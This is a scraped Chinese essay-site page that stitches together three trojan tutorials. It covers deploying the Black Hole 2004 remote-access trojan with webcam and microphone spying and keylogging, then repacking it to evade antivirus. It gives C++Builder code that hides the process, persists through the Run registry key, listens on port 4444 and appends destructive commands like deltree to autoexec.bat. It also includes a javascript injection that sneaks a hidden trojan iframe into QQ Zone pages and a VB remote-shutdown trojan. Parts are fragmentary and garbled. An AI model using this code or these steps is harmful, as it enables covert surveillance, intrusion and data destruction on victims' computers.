免费论文网 首页

黑客木马

时间:2018-11-09 11:20 来源:免费论文网

篇一:黑客是如何给我们的系统种上木马的

相信很多朋友都听说过木马程序,总觉得它很神秘、很高难,但事实上随着木马软件的智能化,很多骇客都能轻松达到攻击的目的。今天,笔者就以最新的一款木马程序——黑洞2004,从种植、使用、隐藏、防范四个方面来为网络爱好者介绍一下木马的特性。需要提醒大家的是,在使用木马程序的时候,请先关闭系统中的病毒防火墙,因为杀毒软件会把木马作为病毒的一种进行查杀。

操作步骤:

一、种植木马

现在网络上流行的木马基本上都采用的是C/S结构(客户端/服务端)。你要使用木马控制对方的电脑,首先需要在对方的的电脑中种植并运行服务端程序,然后运行本地电脑中的客户端程序对对方电脑进行连接进而控制对方电脑。

二、使用木马

成功的给别人植入木马服务端后,就需要耐心等待服务端上线。由于黑洞2004采用了反连接技术,所以服务端上线后会自动和客户端进行连接,这时,我们就可以操控客户端对服务端进行远程控制。在黑洞2004下面的列表中,随便选择一台已经上线的电脑,然后通过上面的命令按钮就可以对这台电脑进行控制。下面就简单的介绍一下这些命令的意义。

文件管理:服务端上线以后,你可以通过“文件管理”命令对服务端电脑中的文件进行下载、新建、重命名、删除等操作。可以通过鼠标直接把文件或文件夹拖放到目标文件夹,并且支持断点传输。简单吧?

进程管理:查看、刷新、关闭对方的进程,如果发现有杀毒软件或者防火墙,就可以关闭相应的进程,达到保护服务器端程序的目的。

窗口管理:管理服务端电脑的程序窗口,你可以使对方窗口中的程序最大化、最小化、正常关闭等操作,这样就比进程管理更灵活。你可以搞很多恶作剧,比如让对方的某个窗口不停的最大化和最小化。

视频监控和语音监听:如果远程服务端电脑安装有USB摄像头,那么可以通过它来获取图像,并可直接保存为MediaPlay可以直接播放的Mpeg文件;需要对方有麦克风的话,还可以听到他们的谈话,恐怖吧?

除了上面介绍的这些功能以外,还包括键盘记录、重启关机、远程卸载、抓屏查看密码等功能,操作都非常简单,明白了吧?做骇客其实很容易。

3隐藏

随着杀毒软件病毒库的升级,木马会很快被杀毒软件查杀,所以为了使木马服务端辟开杀毒软件的查杀,长时间的隐藏在别人的电脑中,在木马为黑客提供几种可行的办法。

1.木马的自身保护

就像前面提到的,黑洞2004在生成服务端的时候,用户可以更换图标,并使用软件UPX对服务端自动进行压缩隐藏。

2.捆绑服务端

用户通过使用文件捆绑器把木马服务端和正常的文件捆绑在一起,达到欺骗对方的目的。文件捆绑器有广外文件捆绑器2002、万能文件捆绑器、exeBinder、ExeBundle等。

3.制做自己的服务端

上面提到的这些方法虽然能一时瞒过杀毒软件,但最终还是不能逃脱杀毒软件的查杀,所以若能对现有的木马进行伪装,让杀毒软件无法辨别,则是个治本的方法。可以通过使用压缩EXE和DLL文件的压缩软件对服务端进行加壳保护。例如1中的UPX就是这样一款压缩软件,但默认该软件是按照自身的设置对服务端压缩的,因此得出的结果都相同,很难长时间躲过杀毒软件;而自己对服务端进行压缩,就可以选择不同的选项,压缩出与众不同的服务端来,使杀毒软件很难判断。下面我就以冰河为例,为大家简单的讲解一下脱壳(解压)、加壳(压缩)的过程。

如果我们用杀毒软件对冰河进行查杀,一定会发现2个病毒,一个是冰河的客户端,另一个是服务端。使用软件“PEiD”查看软件的服务端是否已经被作者加壳,可以看到服务端已经使用UPX进行了压缩。

现在,我们就需要对软件进行脱壳,也就是一种解压的过程。这里我使用了“UPXUnpack”,选择需要的文件后,点击“解压缩”就开始执行脱壳。

脱壳完成后,我们需要为服务端加一个新壳,加壳的软件很多,比如:ASPack、ASProtect、UPXShell、Petite等。这里以“ASPack”为例,点击“打开”按钮,选择刚刚脱壳的服务端程序,选择完成后ASPack会自动为服务端进行加壳。再次用杀毒软件对这个服务端进行查杀,发现其已经不能识别判断了。如果你的杀毒软件依旧可以查杀,你还可以使用多个软件对服务端进行多次加壳。笔者在使用Petite和ASPack对服务端进行2次加壳后,试用了多种杀毒软件都没有扫描出来。现在网络中流行的很多XX版冰河,就是网友通过对服务端进行修改并重新加壳后制做出来的。

建议网络用户使用媲西伊遮斯。媲西伊遮斯由媲西伊遮斯远控御防和媲西伊遮斯颠覆密保两款精品软件组成。媲西伊遮斯远控御防是非法远程控制程序的克星,是一款全新技术的专门从根本上防止非法远程监控的软件,也是目前市场上唯一一款专门阻断非法远程监控的软件。它是基于微软操作系统和PC安防基本原理来设计的,只要一出现屏幕监控、键盘鼠标记录、密码大盗和文档窃取四大非法监控,媲西伊遮斯远控御防马上自动对其切断。该软件尤其对于那些未流行病毒、黑客自己制作的远控程序以及某些所谓的“正当”监控软件作用更明显,因为这些是杀毒软件根本无法查到无法杀掉的。同时,媲西伊遮斯颠覆密保可

以随心所欲对任意硬盘各分区和U盘进行绝密锁定保护,对文档、鼠标右键、控制面板等计算机八大重要操作功能的权限限制设定,对客户资料、财务数据、聊天记录、图片电影等重要文档资料的颠覆常规安全加密,对重要数据的多重加密,防止阅览、复制、拷贝、删除和盗取等。

篇二:黑客技术:木马是如何编写的(一)

黑客技术:木马是如何编写的(一)

周侃·天极e企业<br>

<br>

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。<br> <br>

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。<br> <br>

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。<br> <br>

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?<br>

<br>

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。<br>

<br>

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就

有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。<br> <br>

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。<br>

<br>

首先判断目标机的操作系统是Win9x还是WinNt:<br>

<br>

{<br>

DWORD dwVersion = GetVersion();<br>

// 得到操作系统的版本号<br>

if (dwVersion >= 0x80000000)<br>

// 操作系统是Win9x,不是WinNt<br>

{ <br>

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);<br>

//定义RegisterServiceProcess()函数的原型<br>

HINSTANCE hDLL;<br>

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;<br>

hDLL = LoadLibrary("KERNEL32");<br>

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL<br>

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");<br>

//得到RegisterServiceProcess()函数的地址<br>

lpRegisterServiceProcess(GetCurrentProcessId(),1);<br>

//执行RegisterServiceProcess()函数,隐藏本进程<br>

FreeLibrary(hDLL);<br>

//卸载动态链接库<br>

}<br>

}<br>

<br>

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。<br>

<br>

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:<br>

<br>

{ <br>

char TempPath[MAX_PATH];<br>

//定义一个变量<br>

GetSystemDirectory(TempPath ,MAX_PATH);<br>

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径<br>

SystemPath=AnsiString(TempPath);<br>

//格式化TempPath字符串,使之成为能供编译器使用的样式<br>

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);<br> //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来<br>

Registry=new TRegistry;<br>

//定义一个TRegistry对象,准备修改注册表,这一步必不可少<br>

Registry->RootKey=HKEY_LOCAL_MACHINE;<br>

//设置主键为HKEY_LOCAL_MACHINE<br>

Registry->OpenKey("Software\\Microsoft\\Windows\\<br>

CurrentVersion\\Run",TRUE);<br>

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之<br> try<br>

{<br>

//如果以下语句发生异常,跳至catch,以避免程序崩溃<br>

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")<br>

Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");<br>

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe<br>

//如果不是,就写入以上键值和内容<br>

}<br>

catch(...)<br>

{<br>

//如果有错误,什么也不做<br>

}<br>

}<br>

<br>

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。<br>

<br>

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。<br> <br>

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:<br>

<br>

{<br>

FILE *fp=NULL;<br>

char * content;<br>

int times_of_try;<br>

char TempFile[MAX_PATH];<br>

//定义了一堆待会儿要用到的变量<br>

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());<br> //在%System%下建立一个文本文件Win369.bat,作为临时文件使用<br>

AnsiString temp=Socket->ReceiveText();<br>

//接收客户端(攻击者,也就是你自己)传来的数据<br>

}<br>

<br>

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:<br>

<br>

{<br>

if(temp.SubString(0,9)=="edit conf")<br>

//如果接受到的字符串的前9个字符是“edit conf”<br>

{<br>

int number=temp.Length();<br>

//得到字符串的长度<br>

int file_name=atoi((temp.SubString(11,1)).c_str());<br>

//将第11个字符转换成integer型,存入file_name变量<br>

//为什么要取第11个字符,因为第10个字符是空格字符<br>

content=(temp.SubString(12,number-11)+'\n').c_str();<br>

//余下的字符串将被作为写入的内容写入目标文件<br>

FILE *fp=NULL;<br>

char filename[20];<br>

chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);<br>

chmod("c:\\config.sys",S_IREAD|S_IWRITE);<br>

//将两个目标文件的属性改为可读可写<br>

if(file_name==1)<br>

sprintf(filename,"%s","c:\\autoexec.bat");<br>

//如果第11个字符是1,就把Autoexec.bat格式化<br>

else if(file_name==2)<br>

sprintf(filename,"%s","c:\\config.sys");<br>

//如果第11个字符是1,就把Config.sys格式化<br>

times_of_try=0;<br>

//定义计数器<br>

while(fp==NULL)<br>

{<br>

//如果指针是空<br>

fp=fopen(filename,"a+");<br>

//如果文件不存在,创建之;如果存在,准备在其后添加<br>

//如果出错,文件指针为空,这样就会重复<br>

times_of_try=times_of_try+1;<br>

//计数器加1<br>

if(times_of_try>100)<br>

{<br>

//如果已经试了100次了,仍未成功<br>

Socket->SendText("Fail By Open File");<br>

//就发回“Fail By Open File”的错误信息<br>

goto END;<br>

//跳至END处<br>

}<br>

}<br>

fwrite(content,sizeof(char),strlen(content),fp);<br>

//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!<br> fclose(fp);<br>

//写完后关闭目标文件<br>

Socket->SendText("Sucess");<br>

//然后发回“Success”的成功信息<br>

}<br>

}<br>

<br>

你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!(

QQ空间插入网页木马

今天我来做个 破解QQ空间插入网页木马的现在腾讯 已经代码

封了很多QQ空间代码了就如 以前 <iframe src="木马地址" name="lcx" width="0" height="0" frameborder="0"></iframe>插入网页木马的代码也早被封了

纵横qzone界最叼的代码,已经禁用,突破方法!

iframe代码已经禁用,这是众所周知的,但现在有突破禁用的方法,绝对够酷!

代码如下:

<div id=DI><img src="javascript:DI.innerHTML='<iframe src=木马地址 width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>'" style=display:none></div>

我现在用黑客基地 [url]http://hackbase.com/[/url]地址示范给大家看看

好了不打字了

大家看我操作

篇三:vb黑客木马编程(精选大全)(免费)

VB黑客编程基础

一. 调用系统“创建快捷方式”向导

是否为VB不支持创建快捷方式而于着急呢?虽然 您可以调用vb5stkit.Dll中的fCreateShellLink函 数,但它是为安装程序设计的,快捷方式的默认路径 总是从当前用户的“\Start Menu\Programs”开始,也 就是说,如果您的Windows95装在C盘上,您无法通过 fCreateShellLink函数把快捷方式创建到D盘上去。

现在,给大家介绍一种极为方便、巧妙的方法: 用Shell语句调用系统“创建快捷方式”向导。

新建一个项目,在窗体上放一个按钮,双击此按 钮,加入以下代码:

Private Sub Command1_Click()

Open App.Path & "\temp.lnk" For Output As #1

Close #1 '以上两句在程序所在目录建立一 个临时文件

Shell "Rundll32.exe AppWiz.Cpl,NewLinkHere

"& App.Path & "\temp.lnk"

End Sub

(注意:Shell语句中NewLinkHere后面跟着一个 空格才是引号,否则将出错。)

运行程序,按一下命令按钮,怎么样?“创建快 捷方式”向导出现了,如果创建成功,快捷方式将取 代临时文件temp.lnk的位置,如果选取消,temp.lnk 也会自动消失。当然,您可以在硬盘的任意位置建立 temp.lnk。好,现在又可以为您的程序增添一项新功 能了。Enjoy!

二. Rundll32.exe的用途

我们知道,用Shell语句只能调用可执行文件,即 exe、com、bat和pif文件,有时我们想要调用其他一 些系统功能该怎么办呢?此时,Windows提供的 Rundll32.exe可大显身手了。下面我们来认识一下这 些用法,也许会给您带来一点惊喜。

1.要打开设置系统时间的控制面板文件 (Timedate.cpl),只需运行如下代码:

Shell "Rundll32.exe

Shell32.dll,Control_RunDLL Timedate.cpl"

至于打开其他控制面板文件,相信您一定能够举 一反三,尝试一下,换个文件名就成了。

2.要运行某一快捷方式(*.lnk)则可以用以下 代码:

She11 "Rundll32.exe url.dll, FileProtocolHandler X" (X代表要运行的文件,包括 路径,下同。

3. 也可以这样写来打开ActiveMovie控制:

Shell "RUNDLL32.EXE amovie.ocx,Rundll",1

而用Shell "RUNDLL32.EXE amovie.ocx,Rundll /play X",1 将直接播放媒体文件。

4. Shell "rundll32.exe desk.cpl,InstallScreenSaver X”当然是安装屏幕保 护啦,如果你写了一个屏幕保护程序,那么可以在安 装程序中写上它,而不一定要装到system目录下。顺 便提一下,VB不是自捞一个“Application Setup Wizard”么?它的VB源代码都在安装目录下的 “\setupkit\setup1”中放着呢,好好把它研究一下。 你完全能做出富有个性的安装程序来。

5.按住shift键,右击某一文件,菜单中会出现 “打开方式”选项,这也许已不是什么秘密。但现在, 用shell "rundll32.exe shell32.dll OpenAs_RunDLL X" 便能直接调用“打开方式”框。

6. 甚至能用这样一句来打印文件(包括HTML所 支持的所有文本与图像格式):

Shell "rundll32.exe MSHTML.DLL,PrintHTML X”, 1

怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe这个平时不起眼的文件另眼相待了,它 可是系统运行必不可少的部件呢!其实 Shell+Rundll32还能调用其他许多系统功能,比如关 于NetMeeting和Telnet方面的。如果您有兴趣,可以 到往册表的“我的电脑\HKEY_CLASSES_ROOT\”或“我 的电脑\HKEY_LOCAL_MACHINE\Software\CLASSES”下 去看看,本文的内容大都是从那里“抄”来的。只要 有足够的决心、信心、耐心,您一定能发现更多有价 值的东西。Good luck!

主要也就 /showerr.asp?BoardID=0&ErrCodes=60,60&action= 再起作用 程序所有代码仅此两段 Private Sub Command1_Click() WebBrowser1.Navigate (Text1.Text + "/showerr.asp?BoardID=0&ErrCodes=60,60&action=") End Sub Private Sub Command2_Click() End End Sub 程序下载.

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来Server窗体模块中,添加如下代码:

Private Sub form_Load()

With Me

.sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)

.sckServer.Listen '开始监听

End With

End Sub

'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)

With Me

If .sckServer.State <>sckClosed Then .sckServer.Close

.sckServer.Accept (requestID)

End With

End Sub

下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

Private Sub form_Load()

With Me

.sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。

.sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.

End With

End Sub

Private sub cmdConnect_Click()

SckClient.Connect

End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0

Public Const EWX_REBOOT = 2

Public Const EWX_SHUTDOWN = 1

Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

Private Sub cmdExit_Click()

Me.sckClient.SendData "Exit"

End Sub

Private Sub cmdLogoff_Click()

Me.sckClient.SendData "Logoff"

End Sub

Private Sub cmdReboot_Click()

Me.sckClient.SendData "Reboot"

End Sub

全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

With Me

' 接收客户请求的信息

.sckServer.GetData strData

Select Case strData

Case "Exit"

'关机

Call ExitWindowXXX(EWX_SHUTDOWN, 0)

Case "Reboot"

'重启

Call ExitWindowXXX(EWX_REBOOT, 0)

Case "Logoff"

'注销

Call ExitWindowXXX(EWX_LOGOFF, 0)

End Select

End With

End Sub

好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

回到Server工程中的modApi中加入如下API函数:

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Const REG_BINARY = 3


黑客木马
由:免费论文网互联网用户整理提供,链接地址:
http://m.csmayi.cn/meiwen/24620.html
转载请保留,谢谢!
相关阅读
最近更新
推荐专题